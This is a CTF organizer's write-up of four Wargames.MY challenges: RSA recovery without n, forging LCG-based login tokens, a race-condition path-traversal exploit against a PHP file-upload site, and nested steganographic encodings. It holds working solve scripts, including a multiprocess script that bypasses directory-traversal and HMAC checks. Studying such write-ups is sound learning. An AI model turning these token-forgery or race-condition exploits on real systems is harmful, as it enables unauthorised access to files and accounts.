We organized Wargames.MY CTF last weekend and it ended well, congrats to all winners!

Here are some of my challenges I created:

N-less RSA

Endless RSA?

Given a python source code:

from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import next_prime
from secret import flag

def generate_secure_primes():
	p = getStrongPrime(1024)
	q = int(next_prime(p*13-37*0xcafebabe))
	return p,q

# Generate two large and secure prime numbers
p,q = generate_secure_primes()
n = p*q
e = 0x10001
phi = (p-1)*(q-1)
c = pow(bytes_to_long(flag),e,n)

print(f"{phi=}")
print(f"{e=}")
print(f"{c=}")

# Output
# phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
# e=65537
# c=42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484

As you can see, it is a RSA question and we are given phi,e and c. But without n so we cannot decrypt the ciphertext c with the phi alone

Math

We know \(phi = (p-1)(q-1)\) and also how p and q is generated:

def generate_secure_primes():
	p = getStrongPrime(1024)
	q = int(next_prime(p*13-37*0xcafebabe))
	return p,q

We know that q should be close to \(13p - 37(0xcafebabe_{16})\)

So we can turn it into math equation where \(c\) is a constant value: \[ q = 13p - 37(0xcafebabe_{16}) + c \]

We can brute force the value c and try to get the root of the equation where \(phi = (p-1)(13p - 37(0xcafebabe_{16}) + c -1)\)

By using sage, we can brute force the value of c find the roots of equation and check is it integer ZZ:

# Use sage to solve the equation for phi and q=p*13-37*0xcafebabe+c
p=var('p')
phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
# Brute force the number c
for c in range(0,1000,2):
	print(c)
	for sol in solve([(p-1)*(p*13-37*0xcafebabe+c-1)==phi],p,solution_dict=True):
		# found p if solution is integer
		if sol[p] in ZZ:
			print(sol[p])
			exit()

Found p just in 2 minutes!

time sage solve.sage
161858851126363750131252278443447168260852575582585451640814432234372639248575999813974282205976906890574920486285708765150639612195410229043083289561691094157966293503325568381598667787734900472194008968504777213838234481951932391653763314418452086665006225863274324640443184430553056738832834747049214763773

real    2m9.049s
user    3m42.533s
sys     0m11.297s

Then we can decrypt the ciphertext by using the p we found (or you can calculate q and calculate n):

from Crypto.Util.number import *
p = 161858851126363750131252278443447168260852575582585451640814432234372639248575999813974282205976906890574920486285708765150639612195410229043083289561691094157966293503325568381598667787734900472194008968504777213838234481951932391653763314418452086665006225863274324640443184430553056738832834747049214763773
phi = 340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
e = 65537
c = 42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484
d = pow(e,-1,phi)
print(long_to_bytes(pow(c,d,p)))
# b'wgmy{a9722440198c2abad490478875be2815}'

Flag

wgmy{a9722440198c2abad490478875be2815}

Hohoho 2

This challenge actually is 2nd version of my previous challenge Hohoho at WGMY 2021, and is inspired by a challenge called luckyguess in corCTF 2022

Source code: hohoho2.zip

Basically we need to forge Santa Claus’s token to view the wishes (flag is inside), but we cannot register any name that contains Santa Claus

LCG

Lets see how it generate the token:

def verifyToken(self):
		x = bytes_to_long(self.name.encode(errors="surrogateescape"))
		# LCG fast skip implementation
		# is equivalent to the following code
		# for _ in range(n):
		# 	x = (a*x + c) % m
		x = ((pow(a, n, (a-1)*m) - 1) // (a-1) * c + pow(a, n, m) * x) % m
		return hex(x)[2:] == self.mac

Basically I’m implementing LCG but with iteration n, the fast skipping calculation was refer to this link

Actually it’s the same code as below (but it will require very long time to calculate it if not using the fast skipping calculation):

for _ in range(n):
 	x = (a*x + c) % m

Solving

We know a, c and m but not n, so we have to find a way to forge the token without knowing the n value

Let say our name is \(x\), and token is \(T\) the LCG equation is like this \[T \equiv ax+c \mod m\]

What if we add \(m\) to our name value? \[a(x+0)+c \equiv a(x+m)+c \mod m\] \[T \equiv ax+c \mod m\]

As you can see, \(m \mod m\) is 0 so it will be cancelled out, which means our name add any amount of \(m\) will not affect the token value!!

So how we can abuse this to forge the santa’s token? It is possible that when we add certain amount of \(m\) to our name it could contains Santa Claus?

We can construct an equation for it to solve this question, Santa Claus total is 11 bytes so we can put modular \(2^{88}\) so that it will find \(k\) amount of \(m\) we need to add to our name!

\[“Santa Claus” \equiv km+x \mod 2^{88}\] \[“Santa Claus”-x \equiv km \mod 2^{88}\] \[(“Santa Claus”-x)m^{-1} \equiv k \mod 2^{88}\]

Let’s wrote a python script to calculate this, if we register as test:

from Crypto.Util.number import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
k = (bytes_to_long(b"Santa Claus")-bytes_to_long(b"test"))*pow(m, -1,2**88)%2**88
name = long_to_bytes(bytes_to_long(b"test")+k*m)
print(name)
# b'\x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus'

It calculated the name \x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus is the same token as the name test!!

Then we can use pwntools to help us register as test and login as \x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus that contains binary data, then we just input the token given when register as test:

from Crypto.Util.number import *
from pwn import *
context.log_level = "debug"
p = process(["python3","server.py"])
p.sendlineafter("option: ",'1')
p.sendlineafter("name: ","test")
p.sendlineafter("option: ",'2')
p.sendlineafter("name: ","\x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus")
p.interactive()

Output:

[DEBUG] Received 0x8e bytes:
    b'Use this token to login: 1cdb88488b96ee546a351b2c4d7dd867\n'
    b'\n'
    b'1. Register\n'
    b'2. Login\n'
    b'3. Make a wish\n'
    b'4. Wishlist (Santa Only)\n'
    b'5. Exit\n'
    b'Enter option: '
[DEBUG] Sent 0x2 bytes:
    b'2\n'
solve.py:8: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter("name: ","\x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus")
[DEBUG] Received 0x11 bytes:
    b'Enter your name: '
[DEBUG] Sent 0x1c bytes:
    00000000  1d 78 6e e3  1e 38 84 1c  41 45 2d 5a  bb d9 86 6a  │·xn·│·8··│AE-Z│···j│
    00000010  53 61 6e 74  61 20 43 6c  61 75 73 0a               │Sant│a Cl│aus·│
    0000001c
[*] Switching to interactive mode
[DEBUG] Received 0x12 bytes:
    b'Enter your token: '
Enter your token: $ 1cdb88488b96ee546a351b2c4d7dd867
[DEBUG] Sent 0x21 bytes:
    b'1cdb88488b96ee546a351b2c4d7dd867\n'
[DEBUG] Received 0x9f bytes:
    00000000  4c 6f 67 69  6e 20 73 75  63 63 65 73  73 66 75 6c  │Logi│n su│cces│sful│
    00000010  6c 79 20 61  73 20 1d 78  6e e3 1e 38  84 1c 41 45  │ly a│s ·x│n··8│··AE│
    00000020  2d 5a bb d9  86 6a 53 61  6e 74 61 20  43 6c 61 75  │-Z··│·jSa│nta │Clau│
    00000030  73 0a 4e 6f  77 20 79 6f  75 20 63 61  6e 20 6d 61  │s·No│w yo│u ca│n ma│
    00000040  6b 65 20 61  20 77 69 73  68 21 0a 0a  31 2e 20 52  │ke a│ wis│h!··│1. R│
    00000050  65 67 69 73  74 65 72 0a  32 2e 20 4c  6f 67 69 6e  │egis│ter·│2. L│ogin│
    00000060  0a 33 2e 20  4d 61 6b 65  20 61 20 77  69 73 68 0a  │·3. │Make│ a w│ish·│
    00000070  34 2e 20 57  69 73 68 6c  69 73 74 20  28 53 61 6e  │4. W│ishl│ist │(San│
    00000080  74 61 20 4f  6e 6c 79 29  0a 35 2e 20  45 78 69 74  │ta O│nly)│·5. │Exit│
    00000090  0a 45 6e 74  65 72 20 6f  70 74 69 6f  6e 3a 20     │·Ent│er o│ptio│n: │
    0000009f
Login successfully as \x1dn\xe38\x84\x1cE-Z\xbbنjSanta Claus
Now you can make a wish!

1. Register
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 4
[DEBUG] Sent 0x2 bytes:
    b'4\n'
[DEBUG] Received 0xb3 bytes:
    b'Wishes:\n'
    b'Santa Claus: Merry Christmas! Flag: wgmy{6bd7f862cbfa8b802a63b09979d00ee6}\n'
    b'test: tesat\n'
    b'\n'
    b'1. Register\n'
    b'2. Login\n'
    b'3. Make a wish\n'
    b'4. Wishlist (Santa Only)\n'
    b'5. Exit\n'
    b'Enter option: '
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{6bd7f862cbfa8b802a63b09979d00ee6}

Flag

wgmy{6bd7f862cbfa8b802a63b09979d00ee6}

Hohoho 2 Continue

Source code: hohoho2_continue.zip

The continue version of previous challenge, the differences is removed the registration function means we cannot get the token of any user! Previous method is not working anymore, so how we forge the token without knowing the token?

Bad seed

The registration is disabled, but we still can login!

LCG has a bad seed value which is \((1-a)^{-1} \cdot c \mod m\)

We just need to solve the equation \(x=ax+c\) in terms of \(x\):

\[x=ax+c\] \[x-ax=c\] \[(1-a)x=c\] \[x=\frac{c}{1-a}\]

Reference: http://koclab.cs.ucsb.edu/teaching/cren/docx/e03lcg.pdf

So if we input \(\frac{c}{1-a}\) as \(x\) we will get the same value as token, regardless how big the value of n!! Then we can use the same method previously to calculate the name that contains Santa Claus:

from Crypto.Util.number import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
x = pow(1-a,-1,m)*c
k = (bytes_to_long(b"Santa Claus")-x)*pow(m, -1,2**88)%2**88
token = hex(x%m)[2:]
x = x+k*m
print(token)
print(long_to_bytes(x))
# 1327b0e270df8c87fc0e6e7be6bdd2e1
# b'\x16O?\xf4\x9a8,\xe9\xde\xc7%c\xde\x06h\xf7q\xc1\xc6e\x8aSanta Claus'

Let the pwntools login as \x16O?\xf4\x9a8,\xe9\xde\xc7%c\xde\x06h\xf7q\xc1\xc6e\x8aSanta Claus

from Crypto.Util.number import *
from pwn import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
p = process(["python3","server.py"])
p.sendlineafter("option: ",'2')
p.sendlineafter("name: ",b'\x16O?\xf4\x9a8,\xe9\xde\xc7%c\xde\x06h\xf7q\xc1\xc6e\x8aSanta Claus')
p.interactive()

Output:

[*] Switching to interactive mode
Enter your token: $ 1327b0e270df8c87fc0e6e7be6bdd2e1
Login successfully as \x16?\xf4\x9a8,\xe9\xde\xc7%c\xdeh\xf7q\xc1\xc6e\x8aSanta Claus
Now you can make a wish!

1. Register (Disabled)
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 4
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{de112c46f10460e45cc4bcd76abd804a}

myCloud

Source code (with real flag): mycloud.zip

Source code are given, it is a website that can let user to upload their files into the server and user can download it with a link given.

The flag is located at /secret_folder/flag-xxx.txt which xxx is a random hash, means we need to exploit a vulnerability in the website to know the flag file name and read the flag

Race condition

Notice something is odd on line 102 to line 119 in drive.php?

$path = realpath("/drive/".getUsername());
// Prevent directory traversal
if(strpos($path, "/drive/") !== 0){
	die("<h5 class='text-danger'>HACKER ALERT!!</h5>");
}

// List all files in the user directory
$basepath = realpath("/drive/".getUsername());
$files = array_diff(scandir($basepath), array('..', '.'));
foreach ($files as $key => $value) {
	$h = hash_hmac('sha256', $basepath.'/'.$value , $_SESSION['SECRET']);
	echo "<tr>";
	echo "<td><a href='download.php?file=".urlencode($value)."&hash=".urlencode($h)."'>".htmlentities($value)."</a></td>";
	echo "<td>".htmlentities(humanFileSize(filesize($basepath.'/'.$value)))."</td>";
	echo "<td>".htmlentities(date("F d Y H:i:s.",filemtime($basepath.'/'.$value)))."</td>";
	echo "<td><a href=\"javascript:alert('Coming Soon!!')\">🗑️</a></td>";
	echo "</tr>";
}

It assign the path twice that was appended with getUsername function:

$path = realpath("/drive/".getUsername());
...
$basepath = realpath("/drive/".getUsername());

What if we change our username to other folders after the if statement? It will bypass the directory traversal checking and we can use it to leak the flag file name in /secret_folder!! Now we need to find where to change our username

We can change our username using settings.php, notice I put disabled for username to confuse the player lol

<?php
	if(isset($_POST['username']) && isset($_POST['current_password']) && isset($_POST['new_password'])){
		if($_POST['current_password'] === $password){
			$sql = "UPDATE users SET username = ?, password = ? WHERE id = ?";
			$stmt = $conn->prepare($sql);
			$stmt->bind_param("ssi", $_POST['username'],$_POST['new_password'],$_SESSION['user_id']);
			$result = $stmt->execute();

			if($result){
				echo "<h5 class='text-success'>Updated successfully!</h5>";
			}else{
				echo "<h5 class='text-danger'>Error!!</h5>";
			}
		}else{
			echo "<h5 class='text-danger'>Wrong password!</h5>";
		}
	}
?>

So our plan is to leak the file name in /secret_folder by using race condition, so we need to write a script to do that

import requests
import multiprocessing
import re
# run docker in cloud server (race condition may require more cpu resources)
URL = "http://167.71.197.192:1337"
s1 = requests.Session()
data = {
	"username":"test",
	"password":"test"
}
s1.post(URL+"/register.php",data=data)
s1.post(URL+"/login.php",data=data)
# require two session to exploit
s2 = requests.Session()
r = s2.post(URL+"/login.php",data=data)

def changeUsername():
	d = {
		"username":"test",
		"current_password":"test",
		"new_password":"test"
	}
	while True:
		d["username"] = "test"
		s1.post(URL+"/settings.php",data=d)
		d["username"] = "../secret_folder"
		s1.post(URL+"/settings.php",data=d)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# The main thread will goto drive.php to see if the file name is leaked
while True:
	r = s2.get(URL+"/drive.php")
	if "flag" in r.text:
		result = re.findall("(flag-[a-f0-9]+\.txt)", r.text)
		file_name = result[0]
		break
print("File name:"+file_name)
t1.terminate()
# File name:flag-bf49e780adf2bdfd5400e5bc1c93a949.txt

Yay! We get the flag file name, now we need to read the flag

When you check the download.php also will notice the same thing but it protect with HMAC hash:

if(isset($_GET['file']) && isset($_GET['hash'])){
	$path = realpath("/drive/".getUsername()."/".$_GET['file']);
	// Double protection against directory traversal
	if(strpos($path, "/drive") !== 0 || hash_hmac('sha256', $path , $_SESSION['SECRET']) !== $_GET['hash']){
		die("HACKER ALERT!!");
	}
	$filepath = realpath("/drive/".getUsername()."/".$_GET['file']);

	if (file_exists($filepath)) {
		header('Content-Description: File Transfer');
		header('Content-Type: application/octet-stream');
		header('Content-Disposition: attachment; filename="' . basename($filepath) . '"');
		header('Expires: 0');
		header('Cache-Control: must-revalidate');
		header('Pragma: public');
		header('Content-Length: ' . filesize($filepath));
		flush(); // Flush system output buffer
		readfile($filepath);
		die();
	} else {
	  http_response_code(404);
	  die();
	}
}

In order to exploit this we need to upload the flag file name in our drive first to get the hash, because we can use it to bypass the HMAC hash checking and read the flag by changing our username to ../secret_folder!!

import requests
import multiprocessing
import re
# run docker in cloud server (race condition may require more cpu resources)
URL = "http://167.71.197.192:1337"
s1 = requests.Session()
# may need to change username to ../secret_folder
data = {
	"username":"test",
	"password":"test"
}
s1.post(URL+"/register.php",data=data)
s1.post(URL+"/login.php",data=data)
# require two session to exploit
s2 = requests.Session()
r = s2.post(URL+"/login.php",data=data)

def changeUsername():
	d = {
		"username":"test",
		"current_password":"test",
		"new_password":"test"
	}
	while True:
		d["username"] = "test"
		s1.post(URL+"/settings.php",data=d)
		d["username"] = "../secret_folder"
		s1.post(URL+"/settings.php",data=d)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# The main thread will goto drive.php to see if the file name is leaked
while True:
	r = s2.get(URL+"/drive.php")
	if "flag" in r.text:
		result = re.findall("(flag-[a-f0-9]+\.txt)", r.text)
		file_name = result[0]
		break
print("File name:"+file_name)
t1.terminate()
# change username back to test
d = {
	"username":"test",
	"current_password":"test",
	"new_password":"test"
}
s1.post(URL+"/settings.php",data=d)
open(file_name,'wb').write(b"test")
# upload the flag file name into our drive
r = s1.post(URL+"/drive.php",files={'fileToUpload': open(file_name,'rb')},data={"submit":""})
result = re.findall("hash\=([a-f0-9]+)", r.text)
# get the hash
h = result[0]
print("hash: "+h)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# Main thread will download the file using the hash and flag file name
# If found flag format it will print the flag
while True:
	r = s2.get(URL+"/download.php?file="+file_name+"&hash="+h)
	if "wgmy{" in r.text:
		result = re.findall("(wgmy{.*})", r.text)
		print("Flag: "+result[0])
		break
t1.terminate()

Output:

File name:flag-bf49e780adf2bdfd5400e5bc1c93a949.txt
hash: a7eb002e97d9fe12e0efdf3202fbd7f219389b9cfcdad3ed875e1a5162722663
Flag: wgmy{0a8d216f13c4308ed1b5d17fc99384d2}

Flag

wgmy{0a8d216f13c4308ed1b5d17fc99384d2}

Sayur

This challenge actually was inspired by previous china ctf challenge called Git gud, and I think it was interesting so I added in this year WGMY

LSB Steganography

Running zsteg -a sayur.png, you can see got many words in b2,rgba channel that contains sayur, kemudian, banyak, latih

zsteg -a sayur.png
b1,b,msb,xy         .. text: "$<====\tO"
b2,r,lsb,xy         .. text: "aUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,g,msb,xy         .. text: "uQWQWQWQW"
b2,a,lsb,xy         .. text: "}QmQmQm[TZe"
b2,rgba,lsb,xy      .. text: "KemudianKemudianSayurSayurKemudianLatihSayurBanyakKemudianBanyakSayurKemudianKemudianBanyakSayurLatihKemudianLatihKemudianSayurKemudianBanyakBanyakKemudianKemudianBanyakSayurLatihKemudianBanyakKemudianKemudianKemudianSayurLatihKemudianKemudianBanyakSayu"

Extract the whole string into a file

zsteg -E "b2,rgba,lsb,xy" sayur.png | strings > result

You can see it contains the 4 words in some sequence, so it may hidding some messages

KemudianKemudianSayurSayurKemudianLatihSayurBanyakKemudianBanyakSayurKemudianKemudianBanyakSayurLatihKemudianLatihKemudianSayurKemudianBanyakBanyakKemudianKemudianBanyakSayurLatihKemudianBanyakKemudianKemudianKemudianSayurLatihKemudianKemudianBanyakSayurKemudianKemudianBanyakLatihBanyakKemudianLatihBanyakKemudianKemudianKemudianKemudianSayurKemudianBanyakBanyakSayurKemudianBanyakKemudianKemudianKemudianBanyakLatihBanyakKemudianKemudianKemudianSay...

Solving

Actually it is using base4 to encode the message:

Sayur -> 0
Kemudian -> 1
Lebih -> 2
Latih -> 3

Is the same sequence from the challenge description, now we need to write a script to decode the message

from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# PracticeManyThenThenManyPracticeVegetableVegetableManyPracticeVegetableThenPracticeManyThenPracticeManyPracticeManyPracticeManyVegetableVegetablePracticePracticeManyThenThenManyPracticeVegetableVegetable...

Now it print different text just the same words translated to english, we just need to decode another layer with different words with the same order:

from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("Vegetable", "0").replace("Then", "1").replace("Many", "2").replace("Practice", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# 就练就练就多就练就多练就就练多就就练多练菜练菜菜就多菜练就多就就就多菜练菜练菜就菜练菜菜菜练就多菜练菜多菜练多菜菜练菜菜菜练多就就多菜就就多就菜菜练就菜就多就就菜练菜练菜练多就菜练菜练就多就多菜练菜菜就多菜就就多菜练就多菜多就多就多就多菜就菜练多菜菜练多就菜练就就就多就多菜练菜多菜练多就就多就多就练练就

Now it print chinese words also the same words, we also need to decode it again:

from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("Vegetable", "0").replace("Then", "1").replace("Many", "2").replace("Practice", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("菜", "0").replace("就", "1").replace("多", "2").replace("练", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# wgmy{0cec1062809ad4e393f0acbfa895f29f}

And there is the flag!

Flag

wgmy{0cec1062809ad4e393f0acbfa895f29f}

Side note: 菜就多练 in chinese actually means noob then practice more

Participant writeups